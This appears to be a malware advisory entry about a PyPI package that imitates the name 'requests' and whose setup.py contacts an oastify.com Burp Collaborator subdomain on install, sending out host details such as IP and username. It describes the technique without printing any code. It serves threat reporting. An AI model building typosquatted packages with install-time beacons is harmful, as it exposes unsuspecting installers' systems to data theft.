The destination is a Burp Collaborator (oastify.com) subdomain — an out-of-band interaction service used to confirm code execution and collect the victim's IP/DNS metadata on the attacker's collaborator instance. The package name is a lookalike of the widely-used `requests` package, and the shipped setup.py has no legitimate reason to contact an anonymous oastify subdomain at install time. Installing the package causes the installer's host to beacon to attacker-controlled infrastructure automatically.\n\n## Source: kam193 (7078a9b4fc2be32cbeb1f2c20ec67834c8e293bd410ceeb4842cacd8340d9835)\nInstalling the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.\n\n\n---\n\nCategory: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.\n\n\nCampaign: GENERIC-standard-pypi-install-pentest\n\n\nReasons (based on the campaign):\n\n\n - The package contains code to exfiltrate basic data from the system, like IP or username.
